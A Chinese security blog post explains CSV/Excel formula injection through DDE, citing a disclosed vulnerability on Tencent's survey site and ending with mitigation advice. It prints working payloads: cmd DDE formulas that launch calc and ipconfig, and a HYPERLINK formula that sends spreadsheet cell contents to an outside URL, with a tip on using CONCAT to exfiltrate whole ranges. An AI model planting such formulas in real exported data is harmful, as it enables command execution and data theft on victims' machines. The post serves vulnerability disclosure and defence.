CSV XLS 表格命令注入执行

0x01 概述
现在很多应用提供了导出电子表格的功能(不限于 Web 应用),早在 2014 年 8月 29 日国外 James Kettle 便发表了《Comma Separated Vulnerabilities》文章来讲述导出表格的功能可能会导致注入命令的风险,因为导出的表格数据有很多是来自于用户控制的,如:投票应用、邮箱导出。攻击方式类似于 XSS :所有的输入都是不可信的。

0x02 公式注入 & DDE
我们知道在 Excel 中是可以运行计算公式的: =1+5,它会将以 = 开头的单元格内容解释成公式并运行,单纯的运行计算公式可能没什么用,但这里可以用到 DDE 。Dynamic Data Exchange(DDE)是一款来自微软的古老技术,它是 Windows 下的一种跨进程通信的协议,支持 Microsoft Excel, LibreOffice 和 Apache OpenOffice。

执行 cmd 弹出计算器:

=cmd|’ /C calc’!A0
在这里插入图片描述
当然也可以使用 -cmd ,+cmd 来执行 DDE ,这个问题在2014年进行了修复(CVE-2014-3524),所以我们现在注入命令执行时软件会有如下的提示:

在这里插入图片描述
这也就是现在这个漏洞类型的特殊性,虽然软件有着这样的安全风险提醒但仍有大量的厂商承认并修复潜在的漏洞威胁:

https://hackerone.com/reports/90274
https://hackerone.com/reports/111192

其中很大的一方面是由于信任域的原因导致用户仍可能受到攻击,用户在 security.com 域下导出自己的Guestbook.csv ,但由于恶意用户偷偷的在留言板中插入了恶意代码:

POC

=HYPERLINK("https://www.lianlianpay.com?test="&A2&A3,"Error: Please click me!")

这样就导致当用户在导出报表后倘若点击了某个单元格则会导致 A2,A3 的单元格内容泄露:
在这里插入图片描述
攻击者通过查看服务器访问日志记录就知道你表格有什么内容了

所以说这个漏洞是要看背景的,由于它的特殊性(当然也可以配合社工),也就会出现厂商在审核此类漏洞时明明是一个 CSV Injection 漏洞但不会确认修复的情况。

0x03 实例
之前报告给腾讯的《CSV Injection on wj.qq.com》漏洞(已经修复):在这里插入图片描述
用户发起投票后,攻击者可以注入CSV 公式/DDE代码,之后管理员进入投票结果页面导出 EXCEL :

/tmp cat 465864_seg_1.csv
"编号","开始答题时间","结束答题时间","自定义字段","1.您使用过xx网吗?","2.您的性别","3.您的年龄?","4.您的婚姻状况","5.您的最高学历","6.您的月收入(或每月生活费)","7.您是否觉得xx网很容易找到","8.您对网站logo的满意程度(logo即网站的品牌标识)","9.对导航栏目的满意程度","10.对网站页面设置及布局的满意程度","11.对网站内容编排的满意程度","12.对网站色彩风格的满意程度","13.对网站字体的满意程度","14.与同类网站相比,您对xx上的价格满意吗","15.您对xx目前整体的产品质量水平感觉如何","16.您觉得xx上的商品信息的可信度怎么样","17.您觉得xx的售后服务怎么样","18.您觉得xx更新信息的及时性怎么样","19.您的咨询或抱怨通常会得到及时的回复吗","20.您觉得xx的交易和评价几率真实可靠吗","21.您觉得xx网能很好的保证交易时的安全性吗","22.123123123",
"1","2016-04-27 19:26:45","2016-04-27 19:27:27","","A.使用过","A.男","C.26-30岁","B.未婚","D.本科","I.不方便透露","B.否","3","3","3","3","3","3","3","3","3","3","3","A.是","A.是","A.是","",
"2","2016-04-27 19:27:30","2016-04-27 19:28:09","","A.使用过","A.男","D.31-40岁","B.未婚","B.高中/中专","D.3001-5000元","A.是","3","3","4","4","4","4","4","4","4","4","4","A.是","B.否","A.是","=cmd|'/k ipconfig'!A0",

可以看到在用户留言的字段,成功的注入:=cmd|’/k ipconfig’!A0 ,当然也可以通过不触发安全警告的前提下窃取管理员导出的 CSV 数据,也就是前面提到的 =HYPERLINK 。

0x04 关于全文信息泄露
之前使用 &A1&A2&A3&A4 窃取表单数据的方式看起来有点笨重,我找到了一种新的方法来更方便的窃取全文信息:https://support.office.com/en-us/article/CONCAT-function-9b1a9a3f-94ff-41af-9736-694cbd6b4ca2?ui=en-US&rs=en-US&ad=US

APPLIES TO: Excel 2016, Excel Online, Excel for Android tablets, Excel Mobile, Excel for Android phones, Less.

2016 之前的 excel 和其他的版本的连接字符串的函数 concatenate 不支持 cell range 的语法,也不能自定义函数,这样的话就没有办法简写,只能生成比较长的url,但 2016 之后的 excel 我们可以使用 concat 函数,支持传入一个 range,比如 concat(A1:A10) ,这样便能直接读取整个表格中的数据。

0x05 修复方案
过滤公式所用到的特殊字符(不应盲目过滤),因为个别情况下可能会影响产品的正常功能使用:

手机号码 +86 xxxxx
邮箱地址 @test.com
字符串 test-injection

0x06 参考
http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/
http://www.freebuf.com/vuls/102790.html
https://hackerone.com/reports/90274
https://support.office.com/en-us/article/CONCAT-function-9b1a9a3f-94ff-41af-9736-694cbd6b4ca2?ui=en-US&rs=en-US&ad=US

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lefooter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值